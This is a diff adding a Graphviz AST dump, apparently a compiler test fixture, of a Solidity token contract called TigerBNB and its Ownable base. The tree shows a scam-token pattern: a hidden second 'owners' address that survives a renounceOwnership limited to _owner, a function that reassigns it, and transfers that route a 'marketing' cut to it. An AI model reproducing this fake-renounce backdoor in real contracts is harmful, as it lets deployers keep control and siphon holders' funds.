+	variable_265 [label="variable: weiValue\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:276:70-78"]
+	if_266 [label="if\ntests/contract_testcases/ewasm/comment_tests.sol:281:9-296:10"]
+	variable_267 [label="variable: success\nbool\ntests/contract_testcases/ewasm/comment_tests.sol:281:13-20"]
+	return_268 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:282:13-30"]
+	variable_269 [label="variable: returndata\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:282:20-30"]
+	if_270 [label="if\ntests/contract_testcases/ewasm/comment_tests.sol:285:13-295:14"]
+	more_271 [label="more\ntests/contract_testcases/ewasm/comment_tests.sol:285:35-36"]
+	builtins_272 [label="builtin ArrayLength\ntests/contract_testcases/ewasm/comment_tests.sol:285:17-34"]
+	variable_273 [label="variable: returndata\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:285:17-27"]
+	number_literal_274 [label="uint32 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:285:37-38"]
+	inline_assembly_275 [label="inline assembly\ntests/contract_testcases/ewasm/comment_tests.sol:287:17-290:18"]
+	yul_var_decl [label="yul variable declaration\ntests/contract_testcases/ewasm/comment_tests.sol:288:21-61"]
+	var_decl_item [label="yul variable declaration uint256 returndata_size\ntests/contract_testcases/ewasm/comment_tests.sol:288:25-40"]
+	yul_builtin_call_278 [label="yul builtin call ‘mload‘\ntests/contract_testcases/ewasm/comment_tests.sol:288:44-61"]
+	solidity_variable_279 [label="solidity variable: returndata\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:288:50-60"]
+	yul_builtin_call_280 [label="yul builtin call ‘revert‘\ntests/contract_testcases/ewasm/comment_tests.sol:289:21-65"]
+	yul_builtin_call_281 [label="yul builtin call ‘add‘\ntests/contract_testcases/ewasm/comment_tests.sol:289:28-47"]
+	yul_number_literal [label="uint256 literal: 32\ntests/contract_testcases/ewasm/comment_tests.sol:289:32-34"]
+	solidity_variable_283 [label="solidity variable: returndata\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:289:36-46"]
+	yul_variable [label="yul variable: returndata_size\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:289:49-64"]
+	expr_285 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:294:17-37"]
+	builtins_286 [label="builtin Revert\ntests/contract_testcases/ewasm/comment_tests.sol:294:17-23"]
+	variable_287 [label="variable: errorMessage\nstring\ntests/contract_testcases/ewasm/comment_tests.sol:294:24-36"]
+	contract_288 [label="contract Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:302:1-303:28"]
+	base [label="base Context\ntests/contract_testcases/ewasm/comment_tests.sol:303:21-28"]
+	var [label="variable owners\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:304:5-27"]
+	var_291 [label="variable _owner\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:305:5-27"]
+	var_292 [label="variable _deadAddress\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:357:5-78"]
+	number_literal_293 [label="address literal: 57005\ntests/contract_testcases/ewasm/comment_tests.sol:357:36-78"]
+	node_294 [label="constructor \ncontract: Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:320:9-321:17\nsignature ()\nvisibility public\nmutability nonpayable"]
+	var_decl_295 [label="variable decl address msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:323:9-41"]
+	cast_296 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:323:29-41"]
+	call_internal_function_297 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:323:29-41"]
+	internal_function_298 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:323:29-41"]
+	expr_299 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:324:9-27"]
+	assign [label="assign\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:324:9-15"]
+	storage_var [label="storage variable\nOwnable._owner\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:324:9-15"]
+	variable_302 [label="variable: msgSender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:324:18-27"]
+	emit [label="emit\nevent Ownable.OwnershipTransferred\ntests/contract_testcases/ewasm/comment_tests.sol:327:9-57"]
+	number_literal_304 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:327:35-45"]
+	variable_305 [label="variable: msgSender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:327:47-56"]
+	owner [label="function owner\ncontract: Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:330:5-51\nsignature owner()\nvisibility public\nmutability view"]
+	returns_307 [label="returns\naddress "]
+	return_308 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:331:9-22"]
+	storage_load [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:331:9-22"]
+	storage_var_310 [label="storage variable\nOwnable._owner\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:331:16-22"]
+	onlyOwner [label="modifier onlyOwner\ncontract: Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:336:5-26\nmutability nonpayable"]
+	expr_312 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:337:9-76"]
+	builtins_313 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:337:9-16"]
+	equal_314 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:337:24-26"]
+	storage_load_315 [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:337:17-23"]
+	storage_var_316 [label="storage variable\nOwnable._owner\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:337:17-23"]
+	cast_317 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:337:27-39"]
+	call_internal_function_318 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:337:27-39"]
+	internal_function_319 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:337:27-39"]
+	alloc_array_320 [label="alloc array string\ninitializer: 4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572\ntests/contract_testcases/ewasm/comment_tests.sol:337:41-75"]
+	number_literal_321 [label="uint32 literal: 32\ntests/contract_testcases/ewasm/comment_tests.sol:337:41-75"]
+	underscore [label="undersore\ntests/contract_testcases/ewasm/comment_tests.sol:338:9-10"]
+	onlyOwners [label="modifier onlyOwners\ncontract: Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:343:9-346:5\nmutability nonpayable"]
+	expr_324 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:347:9-40"]
+	builtins_325 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:347:9-16"]
+	equal_326 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:347:24-26"]
+	storage_load_327 [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:347:17-23"]
+	storage_var_328 [label="storage variable\nOwnable.owners\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:347:17-23"]
+	cast_329 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:347:27-39"]
+	call_internal_function_330 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:347:27-39"]
+	internal_function_331 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:347:27-39"]
+	underscore_332 [label="undersore\ntests/contract_testcases/ewasm/comment_tests.sol:348:9-10"]
+	transfer_333 [label="function transfer\ncontract: Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:350:5-353:18\nsignature transfer(address,address)\nvisibility external\nmutability nonpayable"]
+	parameters_334 [label="parameters\naddress amm\naddress fct"]
+	expr_335 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:354:13-41"]
+	builtins_336 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:354:13-20"]
+	equal_337 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:354:24-26"]
+	variable_338 [label="variable: fct\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:354:21-24"]
+	number_literal_339 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:354:26-36"]
+	alloc_array_340 [label="alloc array string\ninitializer: 2e\ntests/contract_testcases/ewasm/comment_tests.sol:354:37-40"]
+	number_literal_341 [label="uint32 literal: 1\ntests/contract_testcases/ewasm/comment_tests.sol:354:37-40"]
+	expr_342 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:355:13-33"]
+	assign_343 [label="assign\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:355:13-19"]
+	storage_var_344 [label="storage variable\nOwnable.owners\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:355:13-19"]
+	variable_345 [label="variable: amm\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:355:30-33"]
+	renounceOwnership [label="function renounceOwnership\ncontract: Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:358:5-364:9\nsignature renounceOwnership()\nvisibility public\nmutability nonpayable\nvirtual"]
+	expr_347 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:366:10-31"]
+	assign_348 [label="assign\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:366:10-16"]
+	storage_var_349 [label="storage variable\nOwnable._owner\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:366:10-16"]
+	storage_load_350 [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:366:19-31"]
+	storage_var_351 [label="storage variable\nOwnable._deadAddress\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:366:19-31"]
+	contract_352 [label="contract TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:374:1-375:46"]
+	base_353 [label="base Context\ntests/contract_testcases/ewasm/comment_tests.sol:375:22-29"]
+	base_354 [label="base IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:375:31-37"]
+	base_355 [label="base Ownable\ntests/contract_testcases/ewasm/comment_tests.sol:375:39-46"]
+	var_356 [label="variable _allowance\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:381:9-83"]
+	var_357 [label="variable _espat\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:382:9-48"]
+	var_358 [label="variable _lances\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:383:9-60"]
+	var_359 [label="variable _isExcludedFromF\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:385:9-66"]
+	var_360 [label="variable _isExcluded\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:386:9-61"]
+	var_361 [label="variable MAX\nvisibility private\nconstant\ntests/contract_testcases/ewasm/comment_tests.sol:390:9-51"]
+	complement [label="complement uint256\ntests/contract_testcases/ewasm/comment_tests.sol:390:40-41"]
+	number_literal_363 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:390:41-51"]
+	var_364 [label="variable _Ttotal\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:391:9-60"]
+	multiply_365 [label="multiply\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:391:53-54"]
+	number_literal_366 [label="uint256 literal: 10000000000000000\ntests/contract_testcases/ewasm/comment_tests.sol:391:35-52"]
+	power [label="power\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:391:57-59"]
+	number_literal_368 [label="uint256 literal: 10\ntests/contract_testcases/ewasm/comment_tests.sol:391:55-57"]
+	number_literal_369 [label="uint256 literal: 9\ntests/contract_testcases/ewasm/comment_tests.sol:391:59-60"]
+	var_370 [label="variable deadF\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:400:5-30"]
+	number_literal_371 [label="uint256 literal: 5\ntests/contract_testcases/ewasm/comment_tests.sol:400:29-30"]
+	var_372 [label="variable marketingWallet\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:401:5-40"]
+	number_literal_373 [label="uint256 literal: 3\ntests/contract_testcases/ewasm/comment_tests.sol:401:39-40"]
+	var_374 [label="variable deadAddress\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:402:5-77"]
+	number_literal_375 [label="address literal: 57005\ntests/contract_testcases/ewasm/comment_tests.sol:402:35-77"]
+	var_376 [label="variable ratify\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:407:5-31"]
+	bool_literal [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:407:27-31"]
+	var_378 [label="variable burnrepeat\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:408:5-44"]
+	number_literal_379 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:408:34-44"]
+	var_380 [label="variable owners\nvisibility internal\ntests/contract_testcases/ewasm/comment_tests.sol:409:5-19"]
+	var_381 [label="variable _tFeeTotal\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:410:5-31"]
+	var_382 [label="variable _decimals\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:411:5-28"]
+	var_383 [label="variable _symbol\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:412:5-27"]
+	var_384 [label="variable _name\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:413:5-25"]
+	var_385 [label="variable damada\nvisibility private\ntests/contract_testcases/ewasm/comment_tests.sol:522:5-27"]
+	using [label="using SafeMath for uint256"]
+	using_387 [label="using Address for address"]
+	node_388 [label="constructor \ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:415:9-417:11\nsignature ()\nvisibility public\nmutability nonpayable"]
+	expr_389 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:419:14-47"]
+	assign_390 [label="assign\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:419:14-20"]
+	storage_var_391 [label="storage variable\nTigerBNB.owners\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:419:14-20"]
+	cast_392 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:419:31-47"]
+	call_internal_function_393 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:419:31-47"]
+	internal_function_394 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:419:31-47"]
+	expr_395 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:420:13-56"]
+	assign_396 [label="assign\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:420:43-44"]
+	subscript [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:420:13-38"]
+	storage_var_398 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:420:13-20"]
+	cast_399 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:420:25-37"]
+	call_internal_function_400 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:420:25-37"]
+	internal_function_401 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:420:25-37"]
+	storage_load_402 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:420:49-56"]
+	storage_var_403 [label="storage variable\nTigerBNB._Ttotal\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:420:49-56"]
+	expr_404 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:422:13-34"]
+	assign_405 [label="assign\nuint8 storage\ntests/contract_testcases/ewasm/comment_tests.sol:422:13-22"]
+	storage_var_406 [label="storage variable\nTigerBNB._decimals\nuint8 storage\ntests/contract_testcases/ewasm/comment_tests.sol:422:13-22"]
+	number_literal_407 [label="uint8 literal: 8\ntests/contract_testcases/ewasm/comment_tests.sol:422:33-34"]
+	expr_408 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:423:13-39"]
+	assign_409 [label="assign\nstring storage\ntests/contract_testcases/ewasm/comment_tests.sol:423:13-18"]
+	storage_var_410 [label="storage variable\nTigerBNB._name\nstring storage\ntests/contract_testcases/ewasm/comment_tests.sol:423:13-18"]
+	alloc_array_411 [label="alloc array string\ninitializer: 5469676572424e42\ntests/contract_testcases/ewasm/comment_tests.sol:423:29-39"]
+	number_literal_412 [label="uint32 literal: 8\ntests/contract_testcases/ewasm/comment_tests.sol:423:29-39"]
+	expr_413 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:424:13-41"]
+	assign_414 [label="assign\nstring storage\ntests/contract_testcases/ewasm/comment_tests.sol:424:13-20"]
+	storage_var_415 [label="storage variable\nTigerBNB._symbol\nstring storage\ntests/contract_testcases/ewasm/comment_tests.sol:424:13-20"]
+	alloc_array_416 [label="alloc array string\ninitializer: 5469676572424e42\ntests/contract_testcases/ewasm/comment_tests.sol:424:31-41"]
+	number_literal_417 [label="uint32 literal: 8\ntests/contract_testcases/ewasm/comment_tests.sol:424:31-41"]
+	expr_418 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:425:9-41"]
+	assign_419 [label="assign\nbool storage\ntests/contract_testcases/ewasm/comment_tests.sol:425:35-36"]
+	subscript_420 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:425:9-34"]
+	storage_var_421 [label="storage variable\nTigerBNB._isExcludedFromF\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:425:9-25"]
+	call_internal_function_422 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:425:26-33"]
+	internal_function_423 [label="function() internal view returns (address)\nOwnable.owner\ntests/contract_testcases/ewasm/comment_tests.sol:425:26-33"]
+	bool_literal_424 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:425:37-41"]
+	expr_425 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:426:9-47"]
+	assign_426 [label="assign\nbool storage\ntests/contract_testcases/ewasm/comment_tests.sol:426:41-42"]
+	subscript_427 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:426:9-40"]
+	storage_var_428 [label="storage variable\nTigerBNB._isExcludedFromF\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:426:9-25"]
+	cast_429 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:426:26-39"]
+	builtins_430 [label="builtin GetAddress\ntests/contract_testcases/ewasm/comment_tests.sol:426:34-38"]
+	bool_literal_431 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:426:43-47"]
+	emit_432 [label="emit\nevent IERC20.Transfer\ntests/contract_testcases/ewasm/comment_tests.sol:430:9-77"]
+	number_literal_433 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:430:27-37"]
+	cast_434 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:430:47-59"]
+	call_internal_function_435 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:430:47-59"]
+	internal_function_436 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:430:47-59"]
+	storage_load_437 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:430:65-72"]
+	storage_var_438 [label="storage variable\nTigerBNB._Ttotal\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:430:65-72"]
+	name [label="function name\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:435:9-440:24\nsignature name()\nvisibility public\nmutability view"]
+	returns_440 [label="returns\nstring "]
+	return_441 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:441:9-21"]
+	storage_load_442 [label="storage load string\ntests/contract_testcases/ewasm/comment_tests.sol:441:9-21"]
+	storage_var_443 [label="storage variable\nTigerBNB._name\nstring storage\ntests/contract_testcases/ewasm/comment_tests.sol:441:16-21"]
+	symbol [label="function symbol\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:443:9-448:20\nsignature symbol()\nvisibility public\nmutability view"]
+	returns_445 [label="returns\nstring "]
+	return_446 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:449:13-27"]
+	storage_load_447 [label="storage load string\ntests/contract_testcases/ewasm/comment_tests.sol:449:13-27"]
+	storage_var_448 [label="storage variable\nTigerBNB._symbol\nstring storage\ntests/contract_testcases/ewasm/comment_tests.sol:449:20-27"]
+	decimals [label="function decimals\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:452:13-457:16\nsignature decimals()\nvisibility public\nmutability view"]
+	returns_450 [label="returns\nuint8 "]
+	return_451 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:459:13-33"]
+	storage_load_452 [label="storage load uint8\ntests/contract_testcases/ewasm/comment_tests.sol:459:13-33"]
+	storage_var_453 [label="storage variable\nTigerBNB._decimals\nuint8 storage\ntests/contract_testcases/ewasm/comment_tests.sol:459:24-33"]
+	balanceOf_454 [label="function balanceOf\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:463:5-79\nsignature balanceOf(address)\nvisibility public\nmutability view\noverride"]
+	parameters_455 [label="parameters\naddress account"]
+	returns_456 [label="returns\nuint256 "]
+	return_457 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:464:13-36"]
+	storage_load_458 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:464:13-36"]
+	subscript_459 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:464:20-36"]
+	storage_var_460 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:464:20-27"]
+	variable_461 [label="variable: account\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:464:28-35"]
+	totalSupply_462 [label="function totalSupply\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:466:5-66\nsignature totalSupply()\nvisibility public\nmutability view\noverride"]
+	returns_463 [label="returns\nuint256 "]
+	return_464 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:467:9-23"]
+	storage_load_465 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:467:9-23"]
+	storage_var_466 [label="storage variable\nTigerBNB._Ttotal\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:467:16-23"]
+	transfer_467 [label="function transfer\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:476:5-483:23\nsignature transfer(address,uint256)\nvisibility public\nmutability nonpayable\noverride"]
+	parameters_468 [label="parameters\naddress recipient\nuint256 amount"]
+	returns_469 [label="returns\nbool "]
+	if_470 [label="if\ntests/contract_testcases/ewasm/comment_tests.sol:485:13-488:10"]
+	logical_or [label="logical or\ntests/contract_testcases/ewasm/comment_tests.sol:485:67-69"]
+	storage_load_472 [label="storage load bool\ntests/contract_testcases/ewasm/comment_tests.sol:485:67-69"]
+	subscript_473 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:485:24-62"]
+	storage_var_474 [label="storage variable\nTigerBNB._isExcludedFromF\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:485:24-40"]
+	cast_475 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:485:45-57"]
+	call_internal_function_476 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:485:45-57"]
+	internal_function_477 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:485:45-57"]
+	storage_load_478 [label="storage load bool\ntests/contract_testcases/ewasm/comment_tests.sol:485:67-69"]
+	subscript_479 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:485:78-113"]
+	storage_var_480 [label="storage variable\nTigerBNB._isExcludedFromF\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:485:78-94"]
+	variable_481 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:485:103-112"]
+	expr_482 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:486:17-79"]
+	call_internal_function_483 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:486:17-79"]
+	internal_function_484 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:486:17-79"]
+	cast_485 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:486:35-51"]
+	call_internal_function_486 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:486:35-51"]
+	internal_function_487 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:486:35-51"]
+	variable_488 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:486:57-66"]
+	variable_489 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:486:72-78"]
+	return_490 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:487:13-24"]
+	bool_literal_491 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:487:20-24"]
+	var_decl_492 [label="variable decl uint256 Market\ntests/contract_testcases/ewasm/comment_tests.sol:491:14-95"]
+	call_internal_function_493 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:491:43-95"]
+	internal_function_494 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.div\ntests/contract_testcases/ewasm/comment_tests.sol:491:43-95"]
+	call_internal_function_495 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:491:43-82"]
+	internal_function_496 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.mul\ntests/contract_testcases/ewasm/comment_tests.sol:491:43-82"]
+	variable_497 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:491:43-49"]
+	storage_load_498 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:491:62-77"]
+	storage_var_499 [label="storage variable\nTigerBNB.marketingWallet\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:491:62-77"]
+	number_literal_500 [label="uint256 literal: 100\ntests/contract_testcases/ewasm/comment_tests.sol:491:91-94"]
+	var_decl_501 [label="variable decl uint256 Burn\ntests/contract_testcases/ewasm/comment_tests.sol:492:9-78"]
+	call_internal_function_502 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:492:36-78"]
+	internal_function_503 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.div\ntests/contract_testcases/ewasm/comment_tests.sol:492:36-78"]
+	call_internal_function_504 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:492:36-65"]
+	internal_function_505 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.mul\ntests/contract_testcases/ewasm/comment_tests.sol:492:36-65"]
+	variable_506 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:492:36-42"]
+	storage_load_507 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:492:59-64"]
+	storage_var_508 [label="storage variable\nTigerBNB.deadF\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:492:59-64"]
+	number_literal_509 [label="uint256 literal: 100\ntests/contract_testcases/ewasm/comment_tests.sol:492:74-77"]
+	expr_510 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:493:13-72"]
+	call_internal_function_511 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:493:13-72"]
+	internal_function_512 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:493:13-72"]
+	cast_513 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:493:27-39"]
+	call_internal_function_514 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:493:27-39"]
+	internal_function_515 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:493:27-39"]
+	storage_load_516 [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:493:45-51"]
+	storage_var_517 [label="storage variable\nTigerBNB.owners\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:493:45-51"]
+	variable_518 [label="variable: Market\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:493:61-67"]
+	expr_519 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:494:13-75"]
+	call_internal_function_520 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:494:13-75"]
+	internal_function_521 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:494:13-75"]
+	cast_522 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:494:27-39"]
+	call_internal_function_523 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:494:27-39"]
+	internal_function_524 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:494:27-39"]
+	storage_load_525 [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:494:45-56"]
+	storage_var_526 [label="storage variable\nTigerBNB.deadAddress\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:494:45-56"]
+	variable_527 [label="variable: Burn\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:494:66-70"]
+	expr_528 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:495:13-109"]
+	call_internal_function_529 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:495:13-109"]
+	internal_function_530 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:495:13-109"]
+	cast_531 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:495:27-39"]
